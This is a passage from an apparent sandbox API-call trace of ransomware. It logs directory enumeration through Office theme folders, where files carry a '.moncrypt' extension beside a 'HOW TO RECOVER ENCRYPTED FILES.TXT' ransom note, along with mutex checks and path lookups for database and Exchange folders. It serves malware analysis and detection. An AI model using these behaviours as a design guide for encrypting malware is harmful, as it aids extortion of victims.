| out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.777] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.777] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.777] CloseHandle (hObject=0x18c) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.778] GetLastError () returned 0x12 [0050.778] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.778] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.778] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.778] GlobalUnlock (hMem=0x44000c) returned 0 [0050.778] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.778] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.778] GlobalUnlock (hMem=0x44000c) returned 0 [0050.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.778] GlobalUnlock (hMem=0x440004) returned 0 [0050.778] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f7f99a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f7f99a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.778] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.778] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.778] GlobalLock (hMem=0x440004) returned 0x550170 [0050.778] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.778] GlobalUnlock (hMem=0x440004) returned 0 [0050.778] GlobalLock (hMem=0x440004) returned 0x550170 [0050.778] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.778] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.778] GlobalUnlock (hMem=0x440004) returned 0 [0050.778] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.778] GlobalUnlock (hMem=0x44000c) returned 0 [0050.778] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.779] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f7f99a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f7f99a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.779] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.779] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.779] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.779] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.779] GlobalUnlock (hMem=0x44000c) returned 0 [0050.779] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.779] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.779] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.779] GlobalUnlock (hMem=0x44000c) returned 0 [0050.779] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.779] GlobalUnlock (hMem=0x440004) returned 0 [0050.779] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.779] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM.moncrypt", cAlternateFileName="BLUEPR~1.MON")) returned 1 [0050.779] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.779] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.779] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.779] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.779] GlobalUnlock (hMem=0x440004) returned 0 [0050.779] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.779] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.779] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.779] GlobalUnlock (hMem=0x440004) returned 0 [0050.779] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.779] GlobalUnlock (hMem=0x44000c) returned 0 [0050.779] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.779] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0050.779] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.780] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.780] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.780] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.780] GlobalUnlock (hMem=0x44000c) returned 0 [0050.780] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.780] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.780] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.780] GlobalUnlock (hMem=0x44000c) returned 0 [0050.780] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.780] GlobalUnlock (hMem=0x440004) returned 0 [0050.780] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.780] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f7f99a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f7f99a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f7f99a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.780] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.780] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.780] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.780] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.780] GlobalUnlock (hMem=0x440004) returned 0 [0050.780] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.780] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.780] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.780] GlobalUnlock (hMem=0x440004) returned 0 [0050.780] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.780] GlobalUnlock (hMem=0x44000c) returned 0 [0050.781] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.781] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.781] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.781] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.781] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.781] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.781] GlobalUnlock (hMem=0x44000c) returned 0 [0050.781] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.781] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.781] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.781] GlobalUnlock (hMem=0x44000c) returned 0 [0050.781] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.781] GlobalUnlock (hMem=0x440004) returned 0 [0050.781] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.781] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.781] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.781] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.781] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.781] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.781] GlobalUnlock (hMem=0x440004) returned 0 [0050.781] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.781] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.781] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.781] GlobalUnlock (hMem=0x440004) returned 0 [0050.781] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.781] GlobalUnlock (hMem=0x44000c) returned 0 [0050.781] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.782] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.782] GetLastError () returned 0x12 [0050.782] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.782] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0050.782] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.782] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.782] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.782] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.782] GlobalUnlock (hMem=0x44000c) returned 0 [0050.782] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.782] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.782] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.782] GlobalUnlock (hMem=0x44000c) returned 0 [0050.782] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.782] GlobalUnlock (hMem=0x440004) returned 0 [0050.782] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.782] GlobalLock (hMem=0x440004) returned 0x550170 [0050.782] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.783] GlobalUnlock (hMem=0x440004) returned 0 [0050.783] GlobalLock (hMem=0x440004) returned 0x550170 [0050.783] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.783] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.783] GlobalUnlock (hMem=0x440004) returned 0 [0050.783] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.783] GlobalUnlock (hMem=0x44000c) returned 0 [0050.783] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.783] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI") returned 1 [0050.783] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.783] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.783] GlobalUnlock (hMem=0x44000c) returned 0 [0050.783] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.783] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.783] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.783] GlobalUnlock (hMem=0x44000c) returned 0 [0050.783] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.783] GlobalUnlock (hMem=0x440004) returned 0 [0050.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夒U壦U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.784] GetLastError () returned 0x3 [0050.784] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.784] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0050.785] GetLastError () returned 0x2 [0050.785] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.785] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0050.786] GetLastError () returned 0x2 [0050.786] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0050.786] GetLastError () returned 0x2 [0050.786] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18뻜R\x18j")) returned 0xffffffff [0050.787] GetLastError () returned 0x2 [0050.787] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0050.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0050.787] GetLastError () returned 0x2 [0050.788] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0050.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0050.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0050.788] GetLastError () returned 0x2 [0050.788] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\") returned 0x41 [0050.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f48, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0050.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | 